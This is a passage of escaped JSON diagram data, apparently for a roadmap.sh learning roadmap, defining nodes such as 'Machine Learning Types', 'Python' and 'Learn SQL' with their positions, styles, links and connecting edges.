\"ma5qE4EbrnFqnWm8-koQX\",\n      \"type\": \"linksgroup\",\n      \"position\": {\n        \"x\": -720.8814218617622,\n        \"y\": -270.15106699547107\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Related Roadmaps\",\n        \"links\": [\n          {\n            \"id\": \"Rul_hBHYxhg5-DO7sKxBY\",\n            \"label\": \"AI and Data Scientist Roadmap\",\n            \"href\": \"\",\n            \"url\": \"https://roadmap.sh/ai-data-scientist\"\n          },\n          {\n            \"id\": \"4OdEv2f2vyKzbk8LI-che\",\n            \"label\": \"SQL Roadmap\",\n            \"url\": \"https://roadmap.sh/sql\"\n          },\n          {\n            \"id\": \"Z9RZafFOXNqOWBA0rNAsQ\",\n            \"label\": \"Python Roadmap\",\n            \"url\": \"https://roadmap.sh/python\"\n          },\n          {\n            \"id\": \"3U-rUfswldhX9Yu-v3OKU\",\n            \"label\": \"Prompt Engineering Roadmap\",\n            \"url\": \"https://roadmap.sh/prompt-engineering\"\n          }\n        ]\n      },\n      \"zIndex\": 999,\n      \"width\": 329,\n      \"height\": 192,\n      \"positionAbsolute\": {\n        \"x\": -720.8814218617622,\n        \"y\": -270.15106699547107\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 329,\n        \"height\": 192\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 329,\n        \"height\": 192\n      }\n    },\n    {\n      \"id\": \"9dfYjsY9P25QrQIqW5_m5\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -698.8814218617622,\n        \"y\": 1722.9045877729018\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Popular ML Algorithms\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"vPVfEbf1N9Pm-OGipCAFs\"\n      },\n      \"zIndex\": 999,\n      \"width\": 190,\n      \"height\": 36,\n      \"positionAbsolute\": {\n        \"x\": -698.8814218617622,\n        \"y\": 1722.9045877729018\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 190,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"1DgiVLBYwEDPiRf11C2NS\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -726.3814218617622,\n        \"y\": 1442.4045877729018\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Learn Different Techniques\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"FZQddsp5MWxd5UCtzjKRt\"\n      },\n      \"zIndex\": 999,\n      \"width\": 225,\n      \"height\": 36,\n      \"positionAbsolute\": {\n        \"x\": -726.3814218617622,\n        \"y\": 1442.4045877729018\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 225,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"vPVfEbf1N9Pm-OGipCAFs\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -708.3814218617622,\n        \"y\": 1506.4045877729018\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Machine Learning Types\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 205,\n      \"height\": 36,\n      \"positionAbsolute\": {\n        \"x\": -708.3814218617622,\n        \"y\": 1506.4045877729018\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 205,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"qoTejLLexhNdpCwhfpDwn\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 98.61857813823781,\n        \"y\": 1016.4045877729018\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Using Libraries for Cleanup\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"FZQddsp5MWxd5UCtzjKRt\"\n      },\n      \"zIndex\": 999,\n      \"width\": 227,\n      \"height\": 36,\n      \"positionAbsolute\": {\n        \"x\": 98.61857813823781,\n        \"y\": 1016.4045877729018\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 227,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"YDomoxzf-65sru6XVu0_X\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -89.55417943283828,\n        \"y\": 615.9075181316396\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Gain Programming Skills\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"justifyContent\": \"flex-start\",\n          \"padding\": 16,\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"r1ZlPtp7j6PFIdgrFrOx0\"\n      },\n      \"zIndex\": 999,\n      \"width\": 269,\n      \"height\": 67,\n      \"positionAbsolute\": {\n        \"x\": -89.55417943283828,\n        \"y\": 615.9075181316396\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"style\": {\n        \"width\": 269\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 269,\n        \"height\": 67\n      }\n    },\n    {\n      \"id\": \"iTmtpXe7dR4XKslgpsk2q\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Data Storage Solutions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"eAM9orCNwzqh34uvGBVm8\"\n      },\n      \"position\": {\n        \"x\": 80.49718479195076,\n        \"y\": 1867.270762802686\n      },\n      \"width\": 260,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 260,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 80.49718479195076,\n        \"y\": 1867.270762802686\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 260,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"aopqiF0Svmpq94g6OQBX0\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -119.05417943283828,\n        \"y\": 448.8426822070478\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"1\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"NsoLCA-sJ8W9N4TrMzV8-\"\n      },\n      \"zIndex\": 999,\n      \"width\": 24,\n      \"height\": 36,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -119.05417943283828,\n        \"y\": 448.8426822070478\n      },\n      \"measured\": {\n        \"width\": 24,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"ClwrtyoxnU-slBd3nQ6zG\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -120.55417943283828,\n        \"y\": 501.3426822070478\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"2\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"NsoLCA-sJ8W9N4TrMzV8-\"\n      },\n      \"zIndex\": 999,\n      \"width\": 27,\n      \"height\": 36,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -120.55417943283828,\n        \"y\": 501.3426822070478\n      },\n      \"measured\": {\n        \"width\": 27,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"NsoLCA-sJ8W9N4TrMzV8-\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -120.55417943283828,\n        \"y\": 554.3426822070478\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"3\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 27,\n      \"height\": 36,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -120.55417943283828,\n        \"y\": 554.3426822070478\n      },\n      \"measured\": {\n        \"width\": 27,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"VVU8uggtiOrRNaN-IzatG\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 15.13989797603216,\n        \"y\": 369.3426822070478\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Python\",\n        \"href\": \"https://roadmap.sh/python\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#2a79e4\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 98,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 15.13989797603216,\n        \"y\": 369.3426822070478\n      },\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 98,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"BnvNJCHnPsTo25Hn0dN9v\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -321.643620473428,\n        \"y\": 543.1000000000001\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Learn SQL\",\n        \"href\": \"https://roadmap.sh/sql\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#2a79e4\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 129,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -321.643620473428,\n        \"y\": 543.1000000000001\n      },\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 129,\n        \"height\": 49\n      }\n    }\n  ],\n  \"edges\": [\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"x2\",\n      \"target\": \"3xp2fogAVmwXQhdzhZDWR\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"kZ9PY1uTum4Z-k0i7eGRP\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"3xp2fogAVmwXQhdzhZDWR\",\n      \"sourceHandle\": \"y2\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"TOiTwryy9Q_l_quUkU2D2\",\n      \"selected\": false,\n      \"type\": \"smoothstep\",\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"iogwMmOvub2ZF4zgg6WyF\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"3xp2fogAVmwXQhdzhZDWR\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-iogwMmOvub2ZF4zgg6WyFx2-NVSQ4OtmvRp7p4cOEvKh7w1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"x2\",\n      \"target\": \"sVXZrBCsiSzWBBYWTm-nQ\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"PShueM-HfMGu2Jy1dt73g\",\n      \"selected\": false,\n      \"type\": \"smoothstep\",\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"VlNNwIEDWqQXtqkHWJYzC\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"yCnn-NfSxIybUQ2iTuUGq\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"ronTDxAvatzbk4n5a-McM\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"3xp2fogAVmwXQhdzhZDWR\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"yCnn-NfSxIybUQ2iTuUGq\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-SiYUdtYMDImRPmV2_XPkHz2-yCnn-NfSxIybUQ2iTuUGqy1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"3xp2fogAVmwXQhdzhZDWR\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"Lsapbmg-eMIYJAHpV97nO\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-SiYUdtYMDImRPmV2_XPkHz2-R12sArWVpbIs_PHxBqVaRy2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Lsapbmg-eMIYJAHpV97nO\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"hWDh0ooidbqZb000ENVok\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-Lsapbmg-eMIYJAHpV97nOx2-hWDh0ooidbqZb000ENVokw2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"3xp2fogAVmwXQhdzhZDWR\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"R12sArWVpbIs_PHxBqVaR\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-SiYUdtYMDImRPmV2_XPkHx2-R12sArWVpbIs_PHxBqVaRw1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"3xp2fogAVmwXQhdzhZDWR\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"zF-aibk1m_zAsafT04efn\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-SiYUdtYMDImRPmV2_XPkHy2-jzT54cgNpZc76XxjuNN3Bz1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"zF-aibk1m_zAsafT04efn\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"sgXIjVTbwdwdYoaxN3XBM\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-jzT54cgNpZc76XxjuNN3Bx2-SiYUdtYMDImRPmV2_XPkHw1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"l1SnPc4EMqGdaIAhIQfrT\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"uGkXxdMXUMY-3fQFS1jK8\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-l1SnPc4EMqGdaIAhIQfrTz2-uGkXxdMXUMY-3fQFS1jK8y2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"M1QtGTLyygIjePoCfvjve\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"y__UHXe2DD-IB7bvMF1-X\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-M1QtGTLyygIjePoCfvjvez2-v8TfY-b4W5ygOv7r-syHqy2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"M1QtGTLyygIjePoCfvjve\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"8OXmF2Gn6TYJotBRvDjqA\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"selected\": false,\n      \"id\": \"reactflow__edge-M1QtGTLyygIjePoCfvjvez2-TucngXKNptbeo3PtdJHX8y1\",\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"l1SnPc4EMqGdaIAhIQfrT\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"E0hIgQEeZlEidr4HtUFrL\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-l1SnPc4EMqGdaIAhIQfrTz2-E0hIgQEeZlEidr4HtUFrLy1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"r1ZlPtp7j6PFIdgrFrOx0\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"_sjXCLHHTbZromJYn6fnu\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-r1ZlPtp7j6PFIdgrFrOx0y2-SiYUdtYMDImRPmV2_XPkHz1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_sjXCLHHTbZromJYn6fnu\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"tYPeLCxbqvMFlTkCGjdHg\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-SiYUdtYMDImRPmV2_XPkHy2-t_BRtEharsrOZxoyX0OzVz2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_sjXCLHHTbZromJYn6fnu\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"iWOK0mRY-hAGxMnHYJ0tt\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-SiYUdtYMDImRPmV2_XPkHy2-iWOK0mRY-hAGxMnHYJ0ttz1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_sjXCLHHTbZromJYn6fnu\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"4DFcXSSHxg5wv0uXLIRij\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-SiYUdtYMDImRPmV2_XPkHy2-4DFcXSSHxg5wv0uXLIRijz1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_sjXCLHHTbZromJYn6fnu\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"qQ64ZhSlbbWu9pP8KTE67\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-SiYUdtYMDImRPmV2_XPkHy2-Fyqg3MRcwY7g-Q3gjiqwKz2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_sjXCLHHTbZromJYn6fnu\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"E6cpb6kvluJM8OGuDcFBT\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-_sjXCLHHTbZromJYn6fnux2-SiYUdtYMDImRPmV2_XPkHw1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"E6cpb6kvluJM8OGuDcFBT\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"Xltm7B-8TZ1-igLjVJXoR\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-SiYUdtYMDImRPmV2_XPkHz2-Xltm7B-8TZ1-igLjVJXoRy1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"E6cpb6kvluJM8OGuDcFBT\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"X9WmfHOks82BIAzs6abqO\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-SiYUdtYMDImRPmV2_XPkHz2-X9WmfHOks82BIAzs6abqOy1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"E6cpb6kvluJM8OGuDcFBT\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"-rQ8h_6NFxEOhxXgo7LHo\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-SiYUdtYMDImRPmV2_XPkHz2--rQ8h_6NFxEOhxXgo7LHoy1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"E6cpb6kvluJM8OGuDcFBT\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"t_BRtEharsrOZxoyX0OzV\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-SiYUdtYMDImRPmV2_XPkHz2-t_BRtEharsrOZxoyX0OzVy1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"E6cpb6kvluJM8OGuDcFBT\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"Yx0ICrkjMA_VQdS9DROMb\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"selected\": false,\n      \"id\": \"reactflow__edge-E6cpb6kvluJM8OGuDcFBTx2-Yx0ICrkjMA_VQdS9DROMbw2\",\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Yx0ICrkjMA_VQdS9DROMb\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"il6KQXVPGBza5libN38ib\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"selected\": false,\n      \"id\": \"reactflow__edge-Yx0ICrkjMA_VQdS9DROMbx2-SiYUdtYMDImRPmV2_XPkHz2\",\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"il6KQXVPGBza5libN38ib\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"2g19zjEASJw2ve57hxpr0\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"selected\": false,\n      \"id\": \"reactflow__edge-il6KQXVPGBza5libN38ibz2-SiYUdtYMDImRPmV2_XPkHy1\",\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"il6KQXVPGBza5libN38ib\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"nYqQXh3j-d5mpOhyTO6dW\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-il6KQXVPGBza5libN38iby2-nYqQXh3j-d5mpOhyTO6dWz1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"2g19zjEASJw2ve57hxpr0\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"TeewVruErSsD4VLXcaDxp\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-2g19zjEASJw2ve57hxpr0y2-SiYUdtYMDImRPmV2_XPkHz2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"TeewVruErSsD4VLXcaDxp\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"Xygwu0m5TeYT6S_8FKKXh\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-SiYUdtYMDImRPmV2_XPkHy2-Xygwu0m5TeYT6S_8FKKXhz2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": 